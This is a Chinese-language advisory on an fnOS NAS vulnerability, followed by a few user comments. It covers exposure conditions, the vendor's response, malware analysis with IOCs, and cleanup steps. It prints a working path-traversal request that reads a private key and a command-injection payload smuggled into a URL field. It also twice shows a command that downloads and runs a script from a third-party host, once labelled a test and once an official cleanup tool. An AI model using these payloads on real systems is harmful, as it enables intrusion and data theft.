FnOS 出现严重的安全漏洞
🔒 飞牛 OS 严重安全漏洞调研报告
📌 一、漏洞涉及范围
影响版本
漏洞类型
实际影响范围
暴露条件 :fnOS 设备存在公网可达入口时风险显著上升 [202]
- 端口映射暴露
- 反向代理暴露
- 直连公网
- 内网穿透服务暴露
攻击后果 :
- ✅ 可读取系统任意文件,包括:
- 私钥文件(/usr/trim/etc/rsa_private_key.pem)
- 历史记录(/root/.bash_history、/root/.psql_history)
- 系统配置文件
- 用户存储的所有文件 [104]
- ✅ 可执行任意命令,导致服务器完全失陷 [104]
- ✅ 植入后门组件,驻留在系统中 [179][202]
- ✅ 发起 DDoS 攻击等恶意行为,导致设备被暂停服务 [175][177]
- ✅ 清理系统日志和审计日志,掩盖攻击痕迹 [179][202]
实际受害案例 :
- 多个用户报告设备出现莫名断网、网络异常、丢包严重等问题 [2][4]
- OVH 独服 DD 安装飞牛后出现对外攻击行为,导致服务被暂停 [177]
- 用户报告重装后问题依然存在,说明恶意代码可能驻留在数据盘 [175][179]
💻 二、漏洞复现技术细节
1. 目录遍历漏洞(任意文件读取)
漏洞路径 :
/app-center-static/serviceicon/trim.media//app-center-static/xxx/xx/
复现方法 [104]:
1GET /app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../usr/trim/etc/rsa_private_key.pem HTTP/1.1
2Host: [目标 IP]
原理说明 :
- 通过
size参数传递路径穿越字符串 - 默认向上穿越四级目录即可到达根目录
- 可读取系统任意敏感文件
2. 命令执行漏洞(RCE)
步骤 1 :建立 WebSocket 连接
ws://[目标IP]\:5666/websocket?type=main
步骤 2 :构造恶意请求体
[签名数据]={"reqid":"697da669697da3bc000000090f31","req":"appcgi.dockermgr.systemMirrorAdd","url":"https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo ","name":"2"}
关键说明 :
- 签名数据需使用浏览器 localStorage 中的 fnos-Secret 进行 HMAC-SHA256 签名
- payload 放在请求体的 URL 参数中
- 成功后会在/tmp 下创建文件 hacked20260131
- 此漏洞需要先有有效账户(但可能存在 authorization bypass)[104]
测试 POC 示例 [140]:
1# 漏洞检测脚本
2curl -ksSL https://us1.vvvvvv.de5.net/sh/fnos_xxck1.sh -o /usr/local/bin/fnos_xxck1 && \
3chmod +x /usr/local/bin/fnos_xxck1 && \
4fnos_xxck1
3. 漏洞技术背景
根本原因推测 [104]:
- 后端服务(trim_app_center)缺少对请求路径的规范化处理
- 可能使用了类似以下存在漏洞的代码模式:
1// 伪代码示例(存在漏洞)
2func DownloadHandler(c *gin.Context) {
3 filePath := c.Query("size") // 直接获取 size 参数
4 // 缺少:filePath = filepath.Clean(filePath)
5 // 缺少:if !strings.HasPrefix(filePath, allowedDir) { ... }
6 c.File(filePath) // 直接读取文件
7}
漏洞状态 :
🏢 三、飞牛官方反应
官方采取的措施
✅ 积极措施 :
- 发布修复版本 :已发布 1.1.15 版本修复漏洞 [141][126]
- 社区技术支持 :发布恶意程序分析和专杀脚本 [179][178]
- 安全建议 :建议用户升级至 1.1.15 版本并关闭公网映射 [140][202]
📋 官方建议 (来源:社区回应)[140]:
- 确认当前飞牛系统版本已升级至最新版本 1.1.15
- 确认在关闭公网端口映射情况下,是否仍有异常上传行为
- 确认设备公网访问场景下,使用 HTTPS 与 FNID 加密访问方式
官方反应存在的问题
❌ 严重缺陷 :
- 官方已修复但未发布安全公告
- 未主动使用短信或邮件通知受影响用户
- 蓝点网批评:飞牛似乎选择当"鸵鸟"[141]
- 官方回应:"建议用户使用 HTTPS,避免 HTTP 明文访问"
- 网友质疑:部署 HTTPS 的用户也中招了
- HTTPS 无法防御应用层漏洞 ,只是传输加密,无法阻挡路径穿越攻击 [140]
- 官方回应存在争议 [101]
- 蓝点网对官方说法持怀疑态度
- 路径穿越漏洞与 HTTP/HTTPS 访问没有任何直接关系
- 1.1.15 版本中漏洞仍然存在
- 可能需要更高版本才真正修复
- 信息不透明 [141]
- 未说明漏洞技术细节
- 未公布受影响版本的确切范围
- 未分配 CVE 编号
社区与安全专家的反应
📢 NodeSeek 的批评 [102]:
- 官方暂未承认 0day 漏洞
- 仅回应"建议使用 HTTPS,避免 HTTP 明文访问"
- 网友质疑:"如果是 http 的问题,那整个程序圈,这么多用 http 的,早就被爆完了"
- 补丁与公告至今未见,用户仍在"裸奔"
📢 VPS.TOWN 的质疑 [140]:
- HTTPS 无法防御逻辑漏洞
- 2FA 可能失效 :若漏洞允许绕过鉴权模块直接读写系统文件,二步验证和强密码将形同虚设
- 重装系统的风险 :单纯重装系统可能无效,恶意脚本可能驻留在数据盘
📢 LoopDNS 的专业分析 [202]:
- 官方已知该问题,建议升级至 1.1.15
- 但论坛反馈即使仅使用 HTTPS 访问也可能出现同类驻留现象
- 说明风险不应仅限定为 HTTP 明文通道
🛡️ 四、恶意程序分析(实际攻击案例)
后门组件特征 [179][202]
恶意文件 :
/usr/bin/nginx(伪装)/usr/trim/bin/trim_https_cgi/usr/sbin/gots/lib/modules/6.12.18-trim/snd_pcap.ko(内核模块)
恶意进程 :
- 监听 57132 端口(无 PID 显示)
- 清空系统日志信息
- 删除 audit 审计日志
- 访问恶意 IP 地址
网络连接 :
- 恶意 IP :
- 45.95.212.102
- 151.240.13.91
- 20.89.168.131(下载源)
- 恶意域名 :
- aura.kabot.icu
- apiv2-liveupdate.fnnas.com
- update-service.test.teiron-inc.cn
攻击链分析 [202]
入侵阶段 :
- 利用漏洞投放后门下载器
- 下载并执行二阶段载荷
- 追加随机字节规避哈希检测
持久化阶段 :
- 写入
/etc/rc.local:/sbin/gots x86 & - 创建 systemd 服务
- 追加
/etc/modules内核模块 snd_pcap - 修改
/usr/trim/bin/system_startup.sh
清除痕迹阶段 :
- 清空多目录日志
- 删除审计日志
- 清理安全相关日志
干扰业务阶段 :
- pkill 结束系统关键进程
- 重命名/替换系统工具(如 cat)
🔧 五、应急处置建议
优先级 1(立即执行) [140][178][202]
- 立即暂停 Web UI 公网暴露
- 在防火墙或安全组中阻断 FnOS Web 管理端口对公网的开放
- 或仅通过 SSH 隧道、VPN 访问管理后台
- 设置 IP 白名单
- 如果必须暴露端口,设置严格的 IP 白名单
- 封禁恶意 IP
1# 封禁恶意 IP 地址
2iptables -A OUTPUT -d 45.95.212.102 -j DROP
3iptables -A OUTPUT -d 151.240.13.91 -j DROP
4iptables -A OUTPUT -d 20.89.168.131 -j DROP
优先级 2(尽快执行) [178][179][202]
-
升级系统 :升级至 1.1.15 或更高版本(需验证是否真正修复)
-
运行专杀脚本 :
1# 下载并执行官方专杀脚本
2curl -ksSL https://us1.vvvvvv.de5.net/sh/fnos_xxck1.sh -o /usr/local/bin/fnos_xxck1
3chmod +x /usr/local/bin/fnos_xxck1
4fnos_xxck1
- 手动检查 :
- 检查
/tmp、/var/tmp及系统计划任务 (crontab) 是否有可疑脚本 - 检查是否存在恶意文件(见上文)
- 检查
/etc/modules是否包含snd_pcap
- 清理后门 :
1# 解除不可变属性
2chattr -i /usr/bin/nginx /usr/sbin/gots /usr/trim/bin/trim_https_cgi
3
4# 删除恶意文件
5rm -f /usr/bin/nginx /usr/sbin/gots /usr/trim/bin/trim_https_cgi
6
7# 清理启动项
8sed -i '/gots/d' /etc/rc.local
9
10# 移除恶意内核模块
11rm -f /lib/modules/*/snd_pcap.ko
12sed -i '/snd_pcap/d' /etc/modules
优先级 3(安全加固) [179]
- 修改所有密码 :管理界面密码、SSH 密码
- SSH 加固 :
- 禁止密码登录,仅允许私钥登录
- 禁止 root 登录
- 使用 fail2ban 自动封禁 SSH 登录失败的 IP
- 启用防火墙 :打开飞牛自带防火墙和操作系统防火墙
- 监控网络 :开启出站日志记录以便后续溯源
📊 六、总结与建议
风险评级
| 项目 | 评估 |
|---|---|
| 漏洞严重性 | ⚠️⚠️⚠️⚠️⚠️ 极高 |
| 影响范围 | ⚠️⚠️⚠️⚠️ 广泛(所有暴露公网的 1.1.15 以下版本) |
| 修复可用性 | ⚠️⚠️ 存疑(1.1.15 中仍存在漏洞) |
| 官方透明度 | ⚠️⚠️⚠️⚠️⚠️ 极低 |
给用户的建议
🚨 紧急情况(已发现异常) :
- 立即断开公网连接
- 备份重要数据(注意数据盘可能已被植入恶意代码)
- 按照上述优先级 1-3 执行应急处置
- 考虑完全重装系统(需要彻底格式化系统盘和数据盘)
- 更改所有相关账户密码
✅ 预防措施(尚未发现异常) :
- 立即升级至 1.1.15 版本
- 关闭所有不必要的公网端口映射
- 使用 VPN 或 SSH 隧道访问管理后台
- 定期检查系统日志和异常进程
- 备份重要数据
⚠️ 重要提醒 :
信息来源与可靠性 :
- 技术细节:Mrxn's Blog(安全研究人员专业分析)[104]
- 官方分析:飞牛私有云论坛(社区主理人发布)[179]
- 恶意程序分析:LoopDNS 安全团队专业分析 [202]
- 官方反应:蓝点网、NodeSeek 等媒体 [101][102][140]
- 实际案例:GitHub Issue、V2EX 等社区报告 [177][175]
时效性说明 :本次调研基于 2026 年 1 月 31 日的最新信息,漏洞仍在持续发展中,建议持续关注官方和社区更新。
ぜーんぶ弾けなーい!
复现成功了 😅
什么草台班子
ぜーんぶ弾けなーい!
我就是升级到 1.1.15 后才中招的,木马有好几个自启动程序,伪装为 nginx 和 docker 的 service,同时还会破坏更新系统的下载源导致无法更新至 1.1.18.官方一直不承认就是 fnconnect 导致的。